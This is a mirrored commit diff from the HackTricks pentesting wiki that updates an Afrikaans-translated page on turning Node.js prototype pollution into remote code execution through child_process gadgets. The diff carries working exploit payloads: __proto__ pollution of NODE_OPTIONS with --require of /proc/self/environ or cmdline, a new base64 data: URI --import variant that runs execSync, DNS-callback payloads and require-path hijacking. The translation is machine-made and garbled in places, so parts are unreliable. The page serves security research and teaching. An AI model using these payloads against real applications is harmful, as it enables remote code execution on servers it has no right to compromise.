mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
8de212b181
commit
25d03654d0
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Kwetsbare Kode
|
## Kwetsbare Kode
|
||||||
|
|
||||||
Stel jou 'n werklike JS voor wat 'n kode soos die volgende gebruik:
|
Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik:
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
|
|
||||||
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
|||||||
|
|
||||||
**PP2RCE** beteken **Prototype Pollution to RCE** (Remote Code Execution).
|
**PP2RCE** beteken **Prototype Pollution to RCE** (Remote Code Execution).
|
||||||
|
|
||||||
Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geproduseer** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
|
Volgens hierdie [**skrywe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geopen** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs`** te **besmet** net deur die **attribuut `.env`** te **besmet**.
|
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs` te vergiftig** net deur die **attribut `.env` te besoedel.**
|
||||||
|
|
||||||
### **Besmetting van `__proto__`**
|
### **Vergiftiging van `__proto__`**
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Let daarop dat weens hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets geroep word om 'n **nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **besmet enigiets**.\
|
> Let daarop dat, as gevolg van hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets aangeroep word om **'n nuwe omgewing veranderlike** vir die proses in te stel, jy net iets moet **besoedel**.\
|
||||||
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n var genaamd `avar` met waarde `valuevar` geskep word.
|
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n veranderlike genaamd `avar` met die waarde `valuevar` geskep word.
|
||||||
>
|
>
|
||||||
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besmet** en (slegs in sommige metodes) sal daardie var die **eerste een** wees (wat die aanval toelaat).
|
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** **besoedel** en (slegs in sommige metodes) sal daardie veranderlike die **eerste een** wees (wat die aanval toelaat).
|
||||||
>
|
>
|
||||||
> Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is.
|
> Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is.
|
||||||
```javascript
|
```javascript
|
||||||
@ -122,7 +122,7 @@ var proc = fork("a_file.js")
|
|||||||
```
|
```
|
||||||
## PP2RCE via env vars + cmdline
|
## PP2RCE via env vars + cmdline
|
||||||
|
|
||||||
'n Soortgelyke payload as die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
|
'n Vergelykbare payload met die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
|
||||||
|
|
||||||
- In plaas daarvan om die nodejs **payload** binne die lêer `/proc/self/environ` te stoor, stoor dit dit **binne argv0** van **`/proc/self/cmdline`**.
|
- In plaas daarvan om die nodejs **payload** binne die lêer `/proc/self/environ` te stoor, stoor dit dit **binne argv0** van **`/proc/self/cmdline`**.
|
||||||
- Dan, in plaas daarvan om via **`NODE_OPTIONS`** die lêer `/proc/self/environ` te vereis, **vereis dit `/proc/self/cmdline`**.
|
- Dan, in plaas daarvan om via **`NODE_OPTIONS`** die lêer `/proc/self/environ` te vereis, **vereis dit `/proc/self/cmdline`**.
|
||||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
|||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
// This should create the file /tmp/pp2rec
|
// This should create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
|
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Sedert **Node.js 19** kan die CLI-vlag `--import` deur `NODE_OPTIONS` oorgedra word op dieselfde manier as wat `--require` kan. In teenstelling met `--require`, verstaan `--import` **data-URIs** sodat die aanvaller glad nie **skryfreëls toegang tot die lêerstelsel** nodig het nie. Dit maak die gadget baie meer betroubaar in geslote of slegs lees omgewings.
|
||||||
|
>
|
||||||
|
> Hierdie tegniek is eerste keer publiek gedokumenteer deur PortSwigger navorsing in Mei 2023 en is sedertdien in verskeie CTF-uitdagings herproduseer.
|
||||||
|
|
||||||
|
Die aanval is konseptueel identies aan die `--require /proc/self/*` truuks hierbo, maar in plaas daarvan om na 'n lêer te verwys, inkorporeer ons die payload direk in 'n base64-gecodeerde `data:` URL:
|
||||||
|
```javascript
|
||||||
|
const { fork } = require("child_process")
|
||||||
|
|
||||||
|
// Manual pollution
|
||||||
|
b = {}
|
||||||
|
|
||||||
|
// Javascript that is executed once Node parses the import URL
|
||||||
|
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||||
|
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||||
|
|
||||||
|
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||||
|
// any key that will force spawn (fork) – same as earlier examples
|
||||||
|
fork("./a_file.js");
|
||||||
|
```
|
||||||
|
Misbruik van die kwesbare merge/clone sink wat bo aan die bladsy getoon word:
|
||||||
|
```javascript
|
||||||
|
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
// Gadget trigger
|
||||||
|
fork("./a_file.js");
|
||||||
|
// → creates /tmp/pp2rce_import
|
||||||
|
```
|
||||||
|
### Hoekom `--import` help
|
||||||
|
1. **Geen skyf interaksie** – die payload beweeg heeltemal binne die proses opdraglyn en omgewing.
|
||||||
|
2. **Werk met ESM-slegs omgewings** – `--import` is die kanonieke manier om JavaScript in moderne Node weergawe te prelaai wat standaard op ECMAScript Modules is.
|
||||||
|
3. **Omseil sommige `--require` toelaat-lists** – 'n paar verhardingsbiblioteke filter net `--require`, wat `--import` onaangeraak laat.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> `--import` ondersteuning in `NODE_OPTIONS` is steeds teenwoordig in die nuutste **Node 22.2.0** (Junie 2025). Die Node-kernspan bespreek die beperking van data-URI's in die toekoms, maar geen versagting is beskikbaar ten tyde van skryf nie.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## DNS Interaksie
|
## DNS Interaksie
|
||||||
|
|
||||||
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS-interaksie:
|
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS interaksie:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -171,9 +212,9 @@ Of, om WAF's te vermy om vir die domein te vra:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## PP2RCE kwesbaarheid child_process funksies
|
## PP2RCE kwesbaarheid kind_proses funksies
|
||||||
|
|
||||||
In hierdie afdeling gaan ons **elke funksie van `child_process`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
|
In hierdie afdeling gaan ons **elke funksie van `kind_proses`** analiseer om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node")
|
|||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
Vir **`execFile`** om te werk, moet dit **node** uitvoer sodat die NODE_OPTIONS kan werk.\
|
Vir **`execFile`** om te werk, moet dit **node** uitvoer vir die NODE_OPTIONS om te werk.\
|
||||||
As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word **met omgewing veranderlikes** kan **verander** en dit stel.
|
As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word **met omgewing veranderlikes** kan **verander** en dit stel.
|
||||||
|
|
||||||
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **wysig**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
|
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **verander**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
@ -468,7 +509,7 @@ In die vorige voorbeelde het jy gesien hoe om die gadget te aktiveer 'n funksion
|
|||||||
### Beheer oor 'n vereiste lêer pad
|
### Beheer oor 'n vereiste lêer pad
|
||||||
|
|
||||||
In hierdie [**ander skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kan die gebruiker die lêer pad beheer waar 'n **`require`** uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n **`.js` lêer binne die stelsel** te **vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.**\
|
In hierdie [**ander skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kan die gebruiker die lêer pad beheer waar 'n **`require`** uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n **`.js` lêer binne die stelsel** te **vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.**\
|
||||||
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer dit ingevoer word, is:
|
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer ingevoer, is:
|
||||||
|
|
||||||
- /path/to/npm/scripts/changelog.js
|
- /path/to/npm/scripts/changelog.js
|
||||||
- /opt/yarn-v1.22.19/preinstall.js
|
- /opt/yarn-v1.22.19/preinstall.js
|
||||||
@ -502,18 +543,18 @@ done
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Die **vorige tegniek vereis** dat die **gebruiker die pad van die lêer** wat gaan **vereis** word, **beheer**. Maar dit is nie altyd waar nie.
|
> Die **vorige tegniek vereis** dat die **gebruiker die pad van die lêer** wat gaan **vereis** word, **beheer**. Maar dit is nie altyd waar nie.
|
||||||
|
|
||||||
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket wat jy besoedel het vereis**.
|
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket vereis wat jy besoedel het**.
|
||||||
|
|
||||||
Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval:
|
Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval:
|
||||||
|
|
||||||
- Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`**
|
- Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`**
|
||||||
- As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
|
- As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
|
||||||
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te afdwing
|
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, af te dwing
|
||||||
- **Besoedel die environ/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie aangeroep word (sien die aanvanklike tegnieke)
|
- **Besoedel die omgewing/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie genoem word (sien die aanvanklike tegnieke)
|
||||||
|
|
||||||
#### Absolute vereiste
|
#### Absolute vereiste
|
||||||
|
|
||||||
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
|
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie 'n hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -598,7 +639,7 @@ fork("/path/to/anything")
|
|||||||
#### Relatiewe vereiste - 2
|
#### Relatiewe vereiste - 2
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="ontgin"}}
|
{{#tab name="exploit"}}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
// Contents of malicious.js in the other tab
|
// Contents of malicious.js in the other tab
|
||||||
@ -661,16 +702,20 @@ require("./usage.js")
|
|||||||
## VM Gadgets
|
## VM Gadgets
|
||||||
|
|
||||||
In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\
|
In die papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) word ook aangedui dat die beheer van **`contextExtensions`** van sommige metodes van die **`vm`** biblioteek as 'n gadget gebruik kan word.\
|
||||||
E however, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
|
Echter, soos die vorige **`child_process`** metodes, is dit in die nuutste weergawes **reggestel**.
|
||||||
|
|
||||||
## Fixes & Unexpected protections
|
## Fixes & Unexpected protections
|
||||||
|
|
||||||
Let asseblief daarop dat prototype besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
|
Let asseblief daarop dat prototipe besoedeling werk as die **attribuut** van 'n objek wat toeganklik is **onbepaald** is. As in die **kode** daardie **attribuut** 'n **waarde** **gestel** is, sal jy **nie in staat wees om dit te oorskry** nie.
|
||||||
|
|
||||||
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Wat **voorkom dat 'n prototype besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
|
In Junie 2022 van [**hierdie verbintenis**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) is die var `options` in plaas van 'n `{}` 'n **`kEmptyObject`**. Dit **verhoed dat 'n prototipe besoedeling** die **attribuut** van **`options`** beïnvloed om RCE te verkry.\
|
||||||
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **uitbuitings** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
|
Ten minste vanaf v18.4.0 is hierdie beskerming **geïmplementeer,** en daarom werk die `spawn` en `spawnSync` **eksploite** wat die metodes beïnvloed **nie meer nie** (as daar geen `options` gebruik word nie!).
|
||||||
|
|
||||||
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototype besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
|
In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) is die **prototipe besoedeling** van **`contextExtensions`** van die vm biblioteek **ook soort van reggestel** deur opsies in te stel na **`kEmptyObject`** in plaas van **`{}`.**
|
||||||
|
|
||||||
|
> [!INFO]
|
||||||
|
> **Node 20 (April 2023) & Node 22 (April 2025)** het verdere versterking gebring: verskeie `child_process` helpers kopieer nou gebruiker-gelewerde `options` met **`CopyOptions()`** in plaas van om dit deur verwysing te gebruik. Dit blokkeer besoedeling van geneste objek soos `stdio`, maar **beskerm nie teen die `NODE_OPTIONS` / `--import` truuks** wat hierbo beskryf is nie – daardie vlae word steeds aanvaar via omgewing veranderlikes.
|
||||||
|
> 'n Volledige regstelling sou moet beperk watter CLI vlae van die ouer proses gepropageer kan word, wat in Node Issue #50559 gevolg word.
|
||||||
|
|
||||||
### **Other Gadgets**
|
### **Other Gadgets**
|
||||||
|
|
||||||
@ -682,6 +727,8 @@ In [**hierdie verbintenis**](https://github.com/nodejs/node/commit/0313102aaabb4
|
|||||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||||
|
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||||
|
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user